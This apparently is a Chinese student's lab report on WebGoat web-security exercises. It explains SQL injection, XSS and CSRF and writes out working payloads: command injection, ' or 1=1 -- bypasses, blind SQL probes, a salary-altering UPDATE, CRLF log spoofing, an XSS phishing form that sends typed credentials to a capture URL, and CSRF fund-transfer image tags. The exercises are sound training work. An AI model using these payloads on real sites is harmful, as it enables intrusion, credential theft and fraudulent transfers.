20145224陈颢文 《网络攻防》Web安全基础实践

基础问题回答

SQL注入攻击原理,如何防御:

  • 部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,黑客利用这个bug在数据输入区恶意填入脚本,当数据被传回后台,黑客所填入的脚本语句被运行,使得黑客可以随心所欲的对后台熟即可进行操作;
  • 程序员在编写代码的时候,一定要记得对用户输入数据的合法性进行判断。将存有敏感信息的数据库放在防火墙内部;

XSS攻击的原理,如何防御:

  • XSS的全名是:Cross-site scripting,为了和CSS层叠样式表区分所以取名XSS。是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏;
  • 程序员应该防止下发界面显示html标签,把</>等符号转义。

CSRF攻击原理,如何防御:

  • 即跨站请求伪造(Cross Site Repuest Forgery),是XSS的一个分支。跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如下代码所示:<img src="http://www.mybank.com/sendFunds.do?acctld=123456"/>当受害者的浏览器试图打开这个页面时,它会使用指定的参数向www.mybank.comtransferFunds.do页面发送请求。浏览器认为将会得到一个图片,但实际上是一种资金转移功能。

实验总结与体会

穷则变、变则通、通则久;做攻击就是这样的,方法无非就那么几个,我们要做的是变着法子去运用这些方法来达到攻击目的。

实践过程记录

启动WebGoat

  • 在终端使用指令java -jar webgoat-container-7.0.1-war-exec.jar,等待其显示信息: Starting ProtocolHandler ["http-bio-8080"];

  • 打开浏览器,访问localhost:8080/WebGoat,登陆即可开始答题。

启动BurpSuite

  • 在桌面左边的快捷栏找到,打开他,一直next就好;
  • Proxy->Options,点击Add,自行配置一个端口号,配好以后记得要勾选刚刚配好的那一条记录:

  • 打开浏览器的设置页,Advanced->Network->Settings

  • 按照下图进行设置:

  • 若需要将网页拦截下来的时候先点击intercept把他打开:

Injection Flaws

  • Command Injection:命令注入,要求能够在目标主机上执行任意系统命令即可;

    首先我们需要确定进行注入的位置,网页中并没有文本框,只有一个下拉的选项栏,所以我们只能修改这个下拉栏的值。有两种方式可以修改,可以使用BurpSuite拦截再修改,也可以直接修改页面源代码;BurpSuite方法再周岐浩的博客里说的比较详细了,这里我就交大家使用修改页面代码的方法:

    使用组合键Shift+Ctrl+C查看页面源代码,鼠标单击下拉选项栏,这时候会自动的帮你定位到相应的代码段,找到其中一个选项,右键鼠标Edit As HTML,这时候你就可以编辑它啦;







    直接在选项后加上"&&ifconfig"即可,然后回到网页,找到刚刚修改过的选项,提交!
  • Numeric SQL Injection:数字型SQL注入,要求通过注入SQL字符串的方式查看所有的天气数据;

    这个和上一个实验很像,同样是得修改下拉栏,方法就不再赘述,在Value后加上 or 1 = 1 --即可;
  • Log Spoofing:日志欺骗,要求使用户名为“admin”的用户在日志中显示“成功登录”(实际上并没有成功);

    这个实验主要是为了欺骗人眼,由于页面会将输入的用户名返回,所以我们可以在用户名上动手脚,输入用户名%0d%0aLogin Succeeded for username: admin

    其中%0a%0d是ASCII码的回车换行的意思,效果如下图:

  • String SQL Injection:字符串注入,要求通过SQL注入将所有信用卡信息显示出来;

    有文本框的题相对来说都比较轻松,输入' or 1 = 1 --即可;
  • LAB SQL Injection【SQL注入实验】:

    ①String SQL Injection:字符串型注入,要求使用SQL注入绕过认证,实现无密码登陆;

    先在密码栏输入' or 1 = 1 --试试,发现根本输不了这么长,我们看看他的源代码,原来最长只能输入8位,那就改呗,把长度限定改为15,把文本框格式改为text!

    ②本节课程只能在WebGoat开发版本上完成。跳过!

    ③Numeric SQL Injection:数字型注入,要求使用一个普通员工的账户,浏览其BOSS的账户信息;

    首先通过Larry的账户登陆(密码为larry),我们先试着把Value的值改为Boss的对应值112,无果。又试着修改为112 or 1= 1,这次成功了输出信息,但是还是Larry的信息,我猜这里应该是将最首位的信息输出。那么这次我们可以对信息进行排序让他排在首位。用社会工程学解释老板应该是工资最高的,所以为了把老板排到第一个SQL注入排序如下112 or 1=1 order by salary desc

    ④本节课程只能在WebGoat开发版本上完成。跳过!
  • Database Backdoors:数据库后门,要求使用SQL注入修改员工工资;

    如果熟悉SQL语句的话可以指定,修改信息用update语句,具体注入语句为:101 or 1=1; update employee set salary=100000
  • Blind Numeric SQL Injection:数字型盲注入,要求找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值;

    盲注入的话真的很烦心,就是不停利用101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') >(或者<) 100 );来猜测,利用折半查找的思想,我们最终确定答案为2364
  • Blind String SQL Injection:字符串型盲注入,要求找到pins表中cc_number字段值为4321432143214321的记录中pin字段的数值。pin字段类型为varchar;

    这和上一题思路一样,构造语句猜呗,只不过是猜ASCII的值罢了,答案是Jill;

    每道题我都给大家翻译好啦,大家可以先自己试着去做,其实都不太难~

Cross-Site Scripting (XSS)

  • Phishing with XSS:XSS钓鱼,要求创建一个表单,诱骗访问者输入用户名密码,并将表单提交到http://localhost:8080/WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE

    以下是代码示例:
</form><script>function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR><H3>This feature requires account login:</H2>
<br>
<br>
Enter Username:
<br>
<input type="text" name="user">
<br>
Enter Password:
<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>

效果如下:



  • Stored XSS Attacks:存储型XSS攻击,要求在信件中写入一个网页或弹窗;

    那就加个弹窗呗<SCRIPT>alert('Hi,5224!');</SCRIPT>
  • Reflected XSS Attacks:反射型XSS攻击,要求得到脚本访问信用卡表单字段;

    示例代码如下:
<script type="text/javascript">
if ( navigator.appName.indexOf("Microsoft") !=-1){
var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttp.open("TRACE", "./", false);
xmlHttp.send();str1=xmlHttp.responseText;
while (str1.indexOf("\n") > -1) str1 = str1.replace("\n","<br>");
document.write(str1);}
</script>");
  • Cross Site Repuest Forgery:跨站请求伪造,要求将跳转到指定网页的指令隐藏在图片中,将这图片放在邮件里发布;

    伪造一个图片呗:<img src='attack?Screen=310&menu=900&transferFunds=5000'>
  • CSRF Prompt By-Pass:绕过CSRF确认,要求制作两张图片,第一个请求用户资金转账,第二个用于自动处理第一个请求所触发的确认,原理同上一个实验;

    第一张图片和上一题一样;

    第二图为:<img src='attack?Screen=284&menu=900&transferFunds=CONFIRM'>
  • CSRF Token By-Pass :绕过CSRF Token,用脚本来获取令牌:

    这我也不会啊,再研究研究吧

《网络攻防》Web安全基础实践的更多相关文章

  1. 20145306 网路攻防 web安全基础实践

    20145306 网络攻防 web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 XSS攻击:Stored XSS Attacks.Reflected XSS At ...

  2. 20145334赵文豪网络对抗Web安全基础实践

    1.SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的. 对于SQL注入攻击的防范,我觉 ...

  3. 20145335郝昊《网络攻防》Exp9 Web安全基础实践

    20145335郝昊<网络攻防>Exp9 Web安全基础实践 实验内容 理解常用网络攻击技术的基本原理. 完成WebGoat实践下相关实验 实验步骤 XSS注入攻击 Phishing wi ...

  4. 20145326蔡馨熤《网络对抗》—— Web安全基础实践

    20145326蔡馨熤<网络对抗>—— Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御. 原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程 ...

  5. 20155304 《网络对抗》Exp9 web安全基础实践

    20155304 <网络对抗>Exp9 web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 攻击原理:web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应 ...

  6. 20155306白皎 《网络对抗》 Exp9 Web安全基础实践

    20155306白皎 <网络对抗> Exp9 Web安全基础实践 一.基本问题回答 SQL注入攻击原理,如何防御 原理是: 就是通过把SQL命令插入到"Web表单递交" ...

  7. 20145336 张子扬 《网络对抗技术》 web安全基础实践

    2014536 张子扬<网络攻防>Exp9 Web安全基础实践 实验准备 开启webgoat 1)开启webgoat,打开WebGoat: java -jar webgoat-contai ...

  8. 20145233《网络对抗》Exp9 Web安全基础实践

    20145233<网络对抗>Exp9 Web安全基础实践 实验问题思考 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...

  9. 20145120黄玄曦《网络对抗》Web安全基础实践

    20145120黄玄曦<网络对抗>Web安全基础实践 回答问题 (1)SQL注入攻击原理,如何防御 SQL注入原理简单地说大概是,通过构造特殊的SQL命令提交表单,让服务器执行构造的恶意S ...

随机推荐

  1. VC++调节显示器的亮度SetDeviceGammaRamp

    出处:http://www.nirsoft.net/vc/change_screen_brightness.html SetDeviceGammaRamp API函数位于Gdi32.ll中,接收一个2 ...

  2. Ubuntu 16.04 LTS sublime text 3 解决不能输入中文

    sublime text 3 安装完成后不能输入中文,让人很是不爽.下面内容可以解决使用问题! 一.首先要注意几个问题. 1)sublime_imfix.c 文件放在home目录下面. 2)如果你在步 ...

  3. sql中between and 用法

    SQL中 between and是包括边界值的,not between不包括边界值,不过如果使用between and 限定日期需要注意,如果and后的日期是到天的,那么默认为00:00:00 例如: ...

  4. Oracle中sql相关的命令

    1.创建用户 SQL> -- 例如创建一个用户名为xiaoming,密码为a123的用户 SQL> create user xiaomingidentified by a123; 用户已创 ...

  5. maven 编译报错 java: -source 1.6 中不支持switch 中存在字符串

    maven项目的pom文件里面添加 <build><defaultGoal>compile</defaultGoal><pluginManagement> ...

  6. Setting IE11 with Group Policy Preferences

    一.Setting Home Page with Group Policy Preferences 1.Open the Group Policy Management Console and cre ...

  7. PHP错误处理,无法显示验证码。。无法显示首页等莫名其妙的500

    use the date.timezone setting or the date_default_timezone_set() 这是由于调用date时,若timezone设置不正确所产生的E_NOT ...

  8. Notice公告

    把网页放大到125%食用效果更佳 考试题目的密码是ftp的密码 博猪很菜,菜得抠脚,如果写的有什么问题可以在评论区指出:-) 博猪qq:1755833514

  9. Linux(7)- Nginx.conf主配置文件、Nginx虚拟主机/访问日志/限制访问IP/错误页面优化、Nginx反向代理、Nginx负载均衡

    一.Nginx.conf主配置文件 Nginx主配置文件conf/nginx.conf是一个纯文本类型的文件,整个配置文件是以区块的形式组织的.一般,每个区块以一对大括号{}来表示开始与结束. 核心模 ...

  10. MySQL具体解释(20)-----------数据库备份和还原

    数据备份: 使用mysqldump命令备份 mysqldump命令能够讲数据库中的数据备份成一个文本文件. 表结果和表中的数据将存储在生成的文本中.mysqldump的工作原理非常easy. 他先查出 ...